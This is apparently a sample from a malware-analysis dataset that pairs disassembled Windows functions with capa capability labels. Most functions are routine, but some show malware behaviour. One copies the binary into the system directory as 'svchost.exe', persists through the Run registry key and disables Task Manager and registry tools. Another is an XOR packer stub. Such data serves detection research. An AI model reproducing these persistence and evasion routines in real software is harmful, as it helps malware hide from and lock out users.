joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4481e0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, dword [ebp + 8]
mov esi, eax
cmp esi, 0x100
ja 0x44822c
lea eax, [ebp - 0x100]
push 0x100
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, esi
jne 0x44822c
lea ecx, [ebp - 0x100]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x448234
push edi
push ebx
call dword [sym.imp.USER32.dll_SetWindowTextA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x449170
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
mov eax, dword [esi + 0x7c]
test eax, eax
je 0x4491c4
mov eax, dword [ebp + 8]
push eax
call fcn.0044ba00
mov esi, eax
test esi, esi
jne 0x449196
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0xc]
push edi
lea ecx, [ebp + 0x10]
push 4
push ecx
push 4
push 0
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test edi, edi
pop edi
pop esi
sete al
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0x10]
lea ecx, [ebp - 0x10]
push eax
push 0x45a3a0
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edx, dword [esi + 0x90]
mov ecx, dword [ebp + 0xc]
add esp, 0xc
lea eax, [ebp - 0x10]
push edx
mov edx, dword [ebp + 8]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x44b000
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
push esi
push edi
mov eax, dword [ebx]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x44b039
mov eax, dword [ebp + 8]
mov ecx, dword [esi + 8]
lea edi, [esi + 8]
cmp eax, ecx
mov dword [ebp - 4], edi
jl 0x44b0fd
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x44b10f
jmp 0x44b083
push 0x10
call fcn.0044ad50
test eax, eax
je 0x44b04e
mov dword [eax], 0x45b570
mov esi, eax
jmp 0x44b050
xor esi, esi
lea eax, [esi + 8]
mov dword [esi + 0xc], 0
mov dword [ebp - 4], eax
mov dword [eax], 0
lea eax, [ebx + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
lea ecx, [ebx + 0x14]
call fcn.0044acd0
lea eax, [ebx + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [ebp - 4]
mov eax, dword [esi + 0xc]
test eax, eax
jne 0x44b09a
mov ecx, dword [ebx + 0xc]
shl ecx, 2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x44b0aa
mov edx, dword [ebx + 0xc]
push 2
shl edx, 2
push edx
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
test eax, eax
mov dword [esi + 0xc], eax
jne 0x44b0b6
call fcn.0043dd90
mov edx, dword [edi]
mov ecx, dword [ebx + 0xc]
mov edi, dword [esi + 0xc]
sub ecx, edx
shl ecx, 2
lea edi, [edi + edx*4]
mov edx, ecx
xor eax, eax
push esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
mov dword [ecx], eax
mov edx, dword [ebx]
push edx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, dword [esi + 0xc]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
pop edi
pop esi
mov dword [eax + edx*4], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esi + 0xc]
mov edx, dword [ebp + 0xc]
pop edi
pop esi
mov dword [ecx + eax*4], edx
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [esi + 0xc]
pop edi
pop esi
pop ebx
mov dword [edx + eax*4], ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x44b150
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, 1
mov ebx, ecx
mov eax, dword [esi + 8]
mov dword [ebp - 4], edi
cmp eax, edi
jle 0x44b1b6
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x44b18d
mov ecx, dword [ebx + 0x10]
cmp dword [ecx + edi*8 + 4], eax
je 0x44b18d
mov edx, dword [esi + 0xc]
cmp dword [edx + edi*4], 0
je 0x44b1a7
mov dword [ebp - 4], 0
jmp 0x44b1a7
mov eax, dword [esi + 0xc]
mov ecx, dword [eax + edi*4]
test ecx, ecx
je 0x44b19d
mov edx, dword [ecx]
push 1
call dword [edx]
mov eax, dword [esi + 0xc]
mov dword [eax + edi*4], 0
mov eax, dword [esi + 8]
inc edi
cmp edi, eax
jl 0x44b16b
mov eax, dword [ebp - 4]
test eax, eax
je 0x44b1f1
lea edi, [ebx + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
lea ecx, [ebx + 0x14]
call fcn.0044acf0
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esi + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
test esi, esi
je 0x44b1e6
mov edx, dword [esi]
push 1
mov ecx, esi
call dword [edx]
mov eax, dword [ebx]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x44b280
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, ecx
cmp dword [edi], 0
jne 0x44b2b7
mov eax, dword [0x4a165c]
test eax, eax
jne 0x44b2ae
mov eax, 0x4a1660
test eax, eax
je 0x44b2a7
mov ecx, eax
call fcn.0044ada0
jmp 0x44b2a9
xor eax, eax
mov dword [0x4a165c], eax
mov ecx, eax
call fcn.0044ae50
mov dword [edi], eax
mov eax, dword [0x4a165c]
mov esi, dword [edi]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x44b2da
cmp esi, dword [eax + 8]
jge 0x44b2da
mov edx, dword [eax + 0xc]
mov eax, dword [edx + esi*4]
test eax, eax
jne 0x44b2f0
call dword [ebp + 8]
mov ecx, dword [0x4a165c]
mov esi, eax
mov eax, dword [edi]
push esi
push eax
call fcn.0044b000
mov eax, esi
pop edi
pop esi
pop ebp
ret 4
Function at 0x401f90
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x401f38
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x401f56
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x401fb4
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x401f9b
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x401fa4
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x401fae
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe fcn.00401f90
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x401f1a
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x402001
dec eax
je 0x401ff8
sub eax, 3
je 0x401fef
mov dword [ebp - 4], 0x40
jmp 0x40201e
mov dword [ebp - 4], 4
jmp 0x402004
mov dword [ebp - 4], 0x20
jmp 0x402004
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x402050
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x401fd0
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00401861
mov ebp, esp
push eax
lodsb al, byte [esi]
push dword [ebp + 0x14]
push 1
push esi
call edi
mov eax, esi
jmp 0x40205c
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
Function at 0x405e60
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push esi
push esi
mov ebx, ecx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [ebp + 0xc]
mov edi, eax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
mov ecx, dword [ebx + 0x1c]
push edx
push eax
push ecx
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x405ebd
cmp eax, 0x3e5
je 0x405ebd
cmp byte [ebx + 0x15], 0
je 0x405f30
jmp 0x405f11
mov esi, dword [ebp + 0x10]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x405eee
xor edi, edi
push esi
push str.ReadFile_timeout_after__d_millisecond_n
lea ecx, [edi + 1]
mov dword [ebp - 4], 0
call fcn.00406320
mov edi, dword [ebp - 8]
add esp, 8
jmp 0x405f37
mov ecx, dword [ebx + 0x1c]
push 1
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x1c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x405f37
cmp byte [ebx + 0x15], al
je 0x405f30
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00406140
push eax
mov edi, 1
push str.ReadFile_failure:__s_n
lea ecx, [edi + 1]
call fcn.00406320
mov edi, dword [ebp - 8]
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
test edi, edi
je 0x405f42
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
test eax, eax
jne 0x405f55
mov edx, dword [ebx]
mov eax, dword [edx + 8]
mov ecx, ebx
call eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x405f60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
xor edi, edi
push edi
push edi
push edi
push edi
mov esi, ecx
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [ebp + 0xc]
mov ebx, eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
mov ecx, dword [esi + 0x1c]
push edx
push eax
push ecx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x405fba
cmp eax, 0x3e5
je 0x405fba
cmp byte [esi + 0x15], 0
je 0x40602f
jmp 0x406013
mov edi, dword [ebp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x405ff0
cmp byte [esi + 0x15], 0
je 0x405fe7
push edi
mov edi, 1
push str.WriteFile_timeout_after__d_millisecond_n
mov ecx, edi
call fcn.00406320
add esp, 8
mov dword [ebp - 4], 0
jmp 0x406036
mov ecx, dword [esi + 0x1c]
push 1
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x406036
cmp byte [esi + 0x15], al
je 0x40602f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00406140
push eax
mov edi, 1
push str.WriteFile_failure:__s_n
lea ecx, [edi + 1]
call fcn.00406320
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
test ebx, ebx
je 0x406041
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
test eax, eax
jne 0x406054
mov edx, dword [esi]
mov eax, dword [edx + 8]
mov ecx, esi
call eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x408640
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x426804]
jne 0x40864a
repz ret
jmp fcn.0040da96
Function at 0x41a6e3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x426804]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00410ad2
and dword [ebp - 0x14], 0
cmp dword [0x428790], 0
mov dword [ebp - 0x18], eax
jne 0x41a796
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41a83e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41a83e
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x428790], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x428794], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x428798], eax
call edi
push eax
call esi
mov dword [0x4287a0], eax
test eax, eax
je 0x41a796
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42879c], eax
mov eax, dword [0x42879c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41a7ef
cmp dword [0x4287a0], ecx
je 0x41a7ef
push eax
call esi
push dword [0x4287a0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41a7ef
test ebx, ebx
je 0x41a7ef
call edi
test eax, eax
je 0x41a7e6
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41a7e6
test byte [ebp - 8], 1
jne 0x41a7ef
or dword [ebp + 0x10], 0x200000
jmp 0x41a822
mov eax, dword [0x428794]
cmp eax, dword [ebp - 0x18]
je 0x41a822
push eax
call esi
test eax, eax
je 0x41a822
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41a822
mov eax, dword [0x428798]
cmp eax, dword [ebp - 0x18]
je 0x41a822
push eax
call esi
test eax, eax
je 0x41a822
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x428790]
call esi
test eax, eax
je 0x41a83e
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41a840
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408640
leave
ret
Function at 0x4209ab
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4209ea
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4209ea
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4209ea
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4209ea
cmp dword [ecx + 0x74], 0xe
jbe 0x4209ea
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433160
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43318d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43318d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x458267b
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x16574f87
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401cf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x401dac
cmp byte [esi + 0x3d], 0
je 0x401dac
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x401d9a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x401d61
sub eax, 1
je 0x401d65
sub eax, 2
jne 0x401d9a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004036aa
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x401d83
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x401d9a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004036aa
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004036aa
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.004036aa
mov esp, ebp
pop ebp
ret
Function at 0x402bd0
Capabilities:
Copy file
Create directory
Disable system features via registry on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x414]
push 0x104
push ecx
push 0xffffffffffffffff
push eax
push 0
push 0
mov dword [ebp - 0x41c], 1
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x103
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x402d50
push esi
mov esi, dword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchCombine]
lea eax, [ebp - 0x20c]
push str.Generic
push eax
push 0x104
push eax
call esi
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push str._svchost.exe
lea eax, [ebp - 0x20c]
push eax
push 0x104
push eax
call esi
push 0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x402d4f
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x418]
push ebx
push edi
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x402cd3
push 0x208
lea eax, [ebp - 0x20c]
push eax
push 1
push 0
push str.Generic_Host_Process_for_Win32_Services
push dword [ebp - 0x418]
call edi
push dword [ebp - 0x418]
call ebx
lea eax, [ebp - 0x418]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call esi
test eax, eax
jne 0x402d10
push 4
lea eax, [ebp - 0x41c]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x418]
call edi
push dword [ebp - 0x418]
call ebx
lea eax, [ebp - 0x418]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call esi
test eax, eax
jne 0x402d4d
push 4
lea eax, [ebp - 0x41c]
push eax
push 4
push 0
push str.DisableRegistrytools
push dword [ebp - 0x418]
call edi
push dword [ebp - 0x418]
call ebx
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004036aa
mov esp, ebp
pop ebp
ret
Function at 0x403160
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x403181
jl 0x403177
test esi, esi
jne 0x403181
pop esi
xor eax, eax
xor edx, edx
pop ebx
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x403198
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
pop ebp
ret 0xc
push edi
mov edi, esi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const]
test eax, eax
je 0x4031ce
cmp eax, dword [ebp + 0xc]
mov ecx, ebx
cmovb esi, eax
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const]
push esi
push eax
push dword [ebp + 8]
call sub.VCRUNTIME140.dll_memcpy
add dword [ebp + 8], esi
add esp, 0xc
mov ecx, ebx
sub edi, esi
push esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int_]
cmp dword [ebx + 0x4c], 0
mov esi, dword [ebp + 8]
je 0x40323d
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const]
lea ecx, [ebx + 0x3c]
cmp eax, ecx
jne 0x4031f6
push dword [ebx + 0x54]
mov eax, dword [ebx + 0x50]
mov ecx, ebx
push eax
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char___char___char__]
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov ecx, edi
cmp edi, 0xfff
jbe 0x40322b
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x40323d
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x403205
test ecx, ecx
je 0x40323d
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
pop ebp
ret 0xc
Function at 0x403250
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x403275
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], edi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const]
mov dword [ebp + 0x10], eax
mov ecx, edx
mov dword [ebp - 4], ecx
test edi, edi
jl 0x4032e0
jg 0x40329b
test esi, esi
je 0x4032e0
test ecx, ecx
jl 0x40331a
jg 0x4032a5
test eax, eax
je 0x40331a
cmp edi, ecx
jg 0x4032b5
jl 0x4032af
cmp esi, eax
jae 0x4032b5
mov dword [ebp + 0x10], esi
mov dword [ebp - 4], edi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
push dword [ebp + 0x10]
push dword [ebp + 8]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp + 0x10]
add esp, 0xc
add dword [ebp + 8], eax
mov ecx, ebx
sub esi, eax
sbb edi, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int_]
mov eax, dword [ebp + 8]
test edi, edi
jl 0x403307
jg 0x4032ed
test esi, esi
je 0x403307
mov ecx, dword [ebx + 0x4c]
test ecx, ecx
je 0x403307
push ecx
push esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 8]
jmp 0x4032ed